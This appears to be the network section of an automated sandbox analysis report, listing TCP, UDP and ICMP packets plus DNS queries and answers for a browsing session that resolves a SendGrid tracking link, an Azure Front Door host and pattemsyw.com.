Apr 21, 2025 11:32:34.881510019 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.881520033 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.882253885 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.882318974 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.883028984 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.883090973 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.883764982 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.883801937 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.883829117 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.883836985 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.883877039 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.883898020 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.884650946 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.884700060 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.885164976 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:34.885176897 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:34.885210037 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:34.885225058 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:34.885257959 CEST	49744	443	192.168.2.4	151.101.194.137
Apr 21, 2025 11:32:34.885257959 CEST	49744	443	192.168.2.4	151.101.194.137
Apr 21, 2025 11:32:34.885272980 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:34.885281086 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:34.885298014 CEST	49744	443	192.168.2.4	151.101.194.137
Apr 21, 2025 11:32:34.885302067 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:34.885329008 CEST	49744	443	192.168.2.4	151.101.194.137
Apr 21, 2025 11:32:34.885380983 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.885402918 CEST	49744	443	192.168.2.4	151.101.194.137
Apr 21, 2025 11:32:34.885430098 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.886240959 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.886308908 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.888217926 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.888226032 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.888251066 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.888279915 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.888288975 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.888318062 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.888333082 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.890561104 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.890585899 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.890616894 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.890625954 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.890655994 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.893655062 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.893676043 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.893721104 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.893729925 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.893795967 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.895778894 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.895793915 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.895872116 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.895881891 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.898082018 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.898102045 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.898135900 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.898145914 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.898179054 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.905277014 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:34.905291080 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:34.905319929 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:34.905350924 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:34.905373096 CEST	49744	443	192.168.2.4	151.101.194.137
Apr 21, 2025 11:32:34.905381918 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:34.905533075 CEST	49744	443	192.168.2.4	151.101.194.137
Apr 21, 2025 11:32:34.905633926 CEST	49744	443	192.168.2.4	151.101.194.137
Apr 21, 2025 11:32:34.915200949 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:34.915272951 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:34.915339947 CEST	49744	443	192.168.2.4	151.101.194.137
Apr 21, 2025 11:32:34.915621042 CEST	49744	443	192.168.2.4	151.101.194.137
Apr 21, 2025 11:32:34.915663004 CEST	49744	443	192.168.2.4	151.101.194.137
Apr 21, 2025 11:32:34.915663004 CEST	49744	443	192.168.2.4	151.101.194.137
Apr 21, 2025 11:32:34.915682077 CEST	443	49744	151.101.194.137	192.168.2.4
Apr 21, 2025 11:32:34.915734053 CEST	49744	443	192.168.2.4	151.101.194.137
Apr 21, 2025 11:32:34.925466061 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.925483942 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.925560951 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:34.925606966 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:34.925607920 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:35.012758970 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.012795925 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.012844086 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:35.012893915 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.012927055 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:35.014811039 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.014852047 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.014875889 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.014877081 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:35.014909983 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.014939070 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.014939070 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:35.014939070 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:35.014970064 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:35.017261982 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.017282009 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.017332077 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:35.017349958 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.017376900 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:35.019589901 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.019604921 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.019678116 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:35.019701004 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.020360947 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.020430088 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:35.020443916 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.020466089 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.020495892 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:35.020523071 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:35.024230957 CEST	49742	443	192.168.2.4	172.67.138.38
Apr 21, 2025 11:32:35.024282932 CEST	443	49742	172.67.138.38	192.168.2.4
Apr 21, 2025 11:32:35.091510057 CEST	49681	80	192.168.2.4	2.17.190.73
Apr 21, 2025 11:32:35.281256914 CEST	49747	443	192.168.2.4	100.21.20.131
Apr 21, 2025 11:32:35.281299114 CEST	443	49747	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:35.281363964 CEST	49747	443	192.168.2.4	100.21.20.131
Apr 21, 2025 11:32:35.281656027 CEST	49747	443	192.168.2.4	100.21.20.131
Apr 21, 2025 11:32:35.281676054 CEST	443	49747	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:35.313868046 CEST	443	49735	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:35.313944101 CEST	443	49735	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:35.314055920 CEST	49735	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:35.368808031 CEST	49735	443	192.168.2.4	13.107.246.71
Apr 21, 2025 11:32:35.368845940 CEST	443	49735	13.107.246.71	192.168.2.4
Apr 21, 2025 11:32:36.003449917 CEST	443	49747	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:36.003567934 CEST	49747	443	192.168.2.4	100.21.20.131
Apr 21, 2025 11:32:36.012262106 CEST	49747	443	192.168.2.4	100.21.20.131
Apr 21, 2025 11:32:36.012285948 CEST	443	49747	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:36.012547016 CEST	443	49747	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:36.013304949 CEST	49747	443	192.168.2.4	100.21.20.131
Apr 21, 2025 11:32:36.056278944 CEST	443	49747	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:36.314564943 CEST	443	49747	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:36.314637899 CEST	443	49747	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:36.314717054 CEST	49747	443	192.168.2.4	100.21.20.131
Apr 21, 2025 11:32:36.315690994 CEST	49747	443	192.168.2.4	100.21.20.131
Apr 21, 2025 11:32:36.315711021 CEST	443	49747	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:36.318800926 CEST	49752	443	192.168.2.4	100.21.20.131
Apr 21, 2025 11:32:36.318833113 CEST	443	49752	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:36.318902016 CEST	49752	443	192.168.2.4	100.21.20.131
Apr 21, 2025 11:32:36.319242954 CEST	49752	443	192.168.2.4	100.21.20.131
Apr 21, 2025 11:32:36.319253922 CEST	443	49752	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:37.046029091 CEST	443	49752	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:37.050863028 CEST	49752	443	192.168.2.4	100.21.20.131
Apr 21, 2025 11:32:37.050880909 CEST	443	49752	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:37.051175117 CEST	49752	443	192.168.2.4	100.21.20.131
Apr 21, 2025 11:32:37.051191092 CEST	443	49752	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:37.090317011 CEST	49678	443	192.168.2.4	20.189.173.27
Apr 21, 2025 11:32:37.356004000 CEST	443	49752	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:37.356075048 CEST	443	49752	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:37.356323004 CEST	49752	443	192.168.2.4	100.21.20.131
Apr 21, 2025 11:32:37.357193947 CEST	49752	443	192.168.2.4	100.21.20.131
Apr 21, 2025 11:32:37.357215881 CEST	443	49752	100.21.20.131	192.168.2.4
Apr 21, 2025 11:32:38.370526075 CEST	49671	443	192.168.2.4	204.79.197.203
Apr 21, 2025 11:32:39.980422974 CEST	49681	80	192.168.2.4	2.17.190.73
Apr 21, 2025 11:32:41.402004957 CEST	49753	443	192.168.2.4	52.40.152.246
Apr 21, 2025 11:32:41.402045012 CEST	443	49753	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:41.402117968 CEST	49753	443	192.168.2.4	52.40.152.246
Apr 21, 2025 11:32:41.402216911 CEST	49754	443	192.168.2.4	52.40.152.246
Apr 21, 2025 11:32:41.402245045 CEST	443	49754	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:41.402333021 CEST	49754	443	192.168.2.4	52.40.152.246
Apr 21, 2025 11:32:41.402508974 CEST	49753	443	192.168.2.4	52.40.152.246
Apr 21, 2025 11:32:41.402522087 CEST	443	49753	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:41.402595043 CEST	49754	443	192.168.2.4	52.40.152.246
Apr 21, 2025 11:32:41.402609110 CEST	443	49754	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:42.123090029 CEST	443	49753	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:42.123192072 CEST	49753	443	192.168.2.4	52.40.152.246
Apr 21, 2025 11:32:42.123680115 CEST	49753	443	192.168.2.4	52.40.152.246
Apr 21, 2025 11:32:42.123687983 CEST	443	49753	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:42.123938084 CEST	443	49753	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:42.124175072 CEST	49753	443	192.168.2.4	52.40.152.246
Apr 21, 2025 11:32:42.126576900 CEST	443	49754	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:42.126666069 CEST	49754	443	192.168.2.4	52.40.152.246
Apr 21, 2025 11:32:42.126979113 CEST	49754	443	192.168.2.4	52.40.152.246
Apr 21, 2025 11:32:42.126986980 CEST	443	49754	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:42.127217054 CEST	443	49754	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:42.131092072 CEST	49754	443	192.168.2.4	52.40.152.246
Apr 21, 2025 11:32:42.168275118 CEST	443	49753	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:42.176266909 CEST	443	49754	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:42.408092976 CEST	443	49753	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:42.408147097 CEST	443	49753	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:42.408205986 CEST	49753	443	192.168.2.4	52.40.152.246
Apr 21, 2025 11:32:42.409400940 CEST	49753	443	192.168.2.4	52.40.152.246
Apr 21, 2025 11:32:42.409410954 CEST	443	49753	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:42.428369999 CEST	443	49754	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:42.428421021 CEST	443	49754	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:42.428497076 CEST	49754	443	192.168.2.4	52.40.152.246
Apr 21, 2025 11:32:42.429747105 CEST	49754	443	192.168.2.4	52.40.152.246
Apr 21, 2025 11:32:42.429760933 CEST	443	49754	52.40.152.246	192.168.2.4
Apr 21, 2025 11:32:46.699207067 CEST	49678	443	192.168.2.4	20.189.173.27
Apr 21, 2025 11:32:49.583553076 CEST	49681	80	192.168.2.4	2.17.190.73
Apr 21, 2025 11:33:10.245573044 CEST	49727	80	192.168.2.4	167.89.115.77
Apr 21, 2025 11:33:10.438697100 CEST	80	49727	167.89.115.77	192.168.2.4
Apr 21, 2025 11:33:13.011850119 CEST	49728	80	192.168.2.4	167.89.115.77
Apr 21, 2025 11:33:13.203655005 CEST	80	49728	167.89.115.77	192.168.2.4
Apr 21, 2025 11:33:23.590406895 CEST	49760	443	192.168.2.4	192.178.49.164
Apr 21, 2025 11:33:23.590462923 CEST	443	49760	192.178.49.164	192.168.2.4
Apr 21, 2025 11:33:23.590553045 CEST	49760	443	192.168.2.4	192.178.49.164
Apr 21, 2025 11:33:23.590711117 CEST	49760	443	192.168.2.4	192.178.49.164
Apr 21, 2025 11:33:23.590723991 CEST	443	49760	192.178.49.164	192.168.2.4
Apr 21, 2025 11:33:23.981074095 CEST	443	49760	192.178.49.164	192.168.2.4
Apr 21, 2025 11:33:23.981400013 CEST	49760	443	192.168.2.4	192.178.49.164
Apr 21, 2025 11:33:23.981427908 CEST	443	49760	192.178.49.164	192.168.2.4
Apr 21, 2025 11:33:25.357124090 CEST	49727	80	192.168.2.4	167.89.115.77
Apr 21, 2025 11:33:25.423083067 CEST	80	49727	167.89.115.77	192.168.2.4
Apr 21, 2025 11:33:25.423152924 CEST	49727	80	192.168.2.4	167.89.115.77
Apr 21, 2025 11:33:25.549536943 CEST	80	49727	167.89.115.77	192.168.2.4
Apr 21, 2025 11:33:33.006087065 CEST	80	49728	167.89.115.77	192.168.2.4
Apr 21, 2025 11:33:33.006172895 CEST	49728	80	192.168.2.4	167.89.115.77
Apr 21, 2025 11:33:33.357525110 CEST	49728	80	192.168.2.4	167.89.115.77
Apr 21, 2025 11:33:33.549356937 CEST	80	49728	167.89.115.77	192.168.2.4
Apr 21, 2025 11:33:33.985837936 CEST	443	49760	192.178.49.164	192.168.2.4
Apr 21, 2025 11:33:33.985912085 CEST	443	49760	192.178.49.164	192.168.2.4
Apr 21, 2025 11:33:33.985963106 CEST	49760	443	192.168.2.4	192.178.49.164
Apr 21, 2025 11:33:34.357922077 CEST	49760	443	192.168.2.4	192.178.49.164
Apr 21, 2025 11:33:34.357958078 CEST	443	49760	192.178.49.164	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2025 11:32:19.319956064 CEST	53	61106	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:19.490729094 CEST	53	62544	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:20.732770920 CEST	53	50754	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:23.530059099 CEST	59093	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:23.530220985 CEST	62134	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:23.670253038 CEST	53	62134	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:23.670500040 CEST	53	59093	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:24.799921989 CEST	58345	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:24.800189018 CEST	56934	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:24.815995932 CEST	57323	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:24.816133022 CEST	61795	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:25.020613909 CEST	53	58345	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:25.020756960 CEST	53	57323	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:25.020960093 CEST	53	56934	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:25.021411896 CEST	53	61795	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:25.806545973 CEST	49459	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:25.806688070 CEST	49818	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:25.947820902 CEST	53	49818	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:25.947838068 CEST	53	49459	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:26.839441061 CEST	55832	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:26.839601040 CEST	51161	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:27.036564112 CEST	53	55832	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:27.038480997 CEST	53	51161	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:33.603900909 CEST	54343	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:33.637933969 CEST	64939	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:33.762780905 CEST	52953	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:33.763139963 CEST	52123	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:33.851593971 CEST	53	54343	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:33.869760036 CEST	53	64939	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:33.903120995 CEST	53	52953	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:33.903229952 CEST	53	52123	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:35.130554914 CEST	54552	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:35.130692005 CEST	53140	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:35.243803024 CEST	53	64183	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:35.271861076 CEST	53	54552	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:35.280603886 CEST	53	53140	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:37.872508049 CEST	53	58138	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:41.250111103 CEST	63527	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:41.250288963 CEST	62220	53	192.168.2.4	1.1.1.1
Apr 21, 2025 11:32:41.399775982 CEST	53	63527	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:41.401546955 CEST	53	62220	1.1.1.1	192.168.2.4
Apr 21, 2025 11:32:56.640355110 CEST	53	53964	1.1.1.1	192.168.2.4
Apr 21, 2025 11:33:18.906181097 CEST	53	57988	1.1.1.1	192.168.2.4
Apr 21, 2025 11:33:19.121968985 CEST	53	49181	1.1.1.1	192.168.2.4
Apr 21, 2025 11:33:22.293006897 CEST	53	62676	1.1.1.1	192.168.2.4
Apr 21, 2025 11:33:27.111534119 CEST	138	138	192.168.2.4	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 21, 2025 11:32:19.387176037 CEST	192.168.2.4	1.1.1.1	c233	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 21, 2025 11:32:23.530059099 CEST	192.168.2.4	1.1.1.1	0x2019	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:23.530220985 CEST	192.168.2.4	1.1.1.1	0x5949	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 21, 2025 11:32:24.799921989 CEST	192.168.2.4	1.1.1.1	0x5db9	Standard query (0)	url7554.impulseup.com	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:24.800189018 CEST	192.168.2.4	1.1.1.1	0xad46	Standard query (0)	url7554.impulseup.com	65	IN (0x0001)	false
Apr 21, 2025 11:32:24.815995932 CEST	192.168.2.4	1.1.1.1	0x7133	Standard query (0)	url7554.impulseup.com	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:24.816133022 CEST	192.168.2.4	1.1.1.1	0x634e	Standard query (0)	url7554.impulseup.com	65	IN (0x0001)	false
Apr 21, 2025 11:32:25.806545973 CEST	192.168.2.4	1.1.1.1	0x4128	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.806688070 CEST	192.168.2.4	1.1.1.1	0x2419	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Apr 21, 2025 11:32:26.839441061 CEST	192.168.2.4	1.1.1.1	0xe713	Standard query (0)	87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:26.839601040 CEST	192.168.2.4	1.1.1.1	0xce36	Standard query (0)	87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net	65	IN (0x0001)	false
Apr 21, 2025 11:32:33.603900909 CEST	192.168.2.4	1.1.1.1	0x116	Standard query (0)	pattemsyw.com	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:33.637933969 CEST	192.168.2.4	1.1.1.1	0xb9a8	Standard query (0)	pattemsyw.com	65	IN (0x0001)	false
Apr 21, 2025 11:32:33.762780905 CEST	192.168.2.4	1.1.1.1	0x7d49	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:33.763139963 CEST	192.168.2.4	1.1.1.1	0x8aa5	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 21, 2025 11:32:35.130554914 CEST	192.168.2.4	1.1.1.1	0x1d38	Standard query (0)	sendgrid.com	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:35.130692005 CEST	192.168.2.4	1.1.1.1	0x2684	Standard query (0)	sendgrid.com	65	IN (0x0001)	false
Apr 21, 2025 11:32:41.250111103 CEST	192.168.2.4	1.1.1.1	0xa8e8	Standard query (0)	sendgrid.com	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:41.250288963 CEST	192.168.2.4	1.1.1.1	0xf367	Standard query (0)	sendgrid.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 21, 2025 11:32:23.670253038 CEST	1.1.1.1	192.168.2.4	0x5949	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 21, 2025 11:32:23.670500040 CEST	1.1.1.1	192.168.2.4	0x2019	No error (0)	www.google.com		192.178.49.164	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	url7554.impulseup.com	sendgrid.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	sendgrid.net		167.89.115.77	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	sendgrid.net		167.89.123.90	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	sendgrid.net		167.89.115.56	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	sendgrid.net		167.89.115.61	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	sendgrid.net		167.89.115.28	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	sendgrid.net		167.89.123.54	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	sendgrid.net		167.89.115.78	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	sendgrid.net		167.89.123.62	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	sendgrid.net		167.89.123.89	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	sendgrid.net		167.89.123.58	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	sendgrid.net		167.89.115.150	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	sendgrid.net		167.89.115.52	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	sendgrid.net		167.89.115.120	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	sendgrid.net		167.89.123.66	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	sendgrid.net		167.89.123.124	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020613909 CEST	1.1.1.1	192.168.2.4	0x5db9	No error (0)	sendgrid.net		167.89.123.204	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	url7554.impulseup.com	sendgrid.net		CNAME (Canonical name)	IN (0x0001)	false
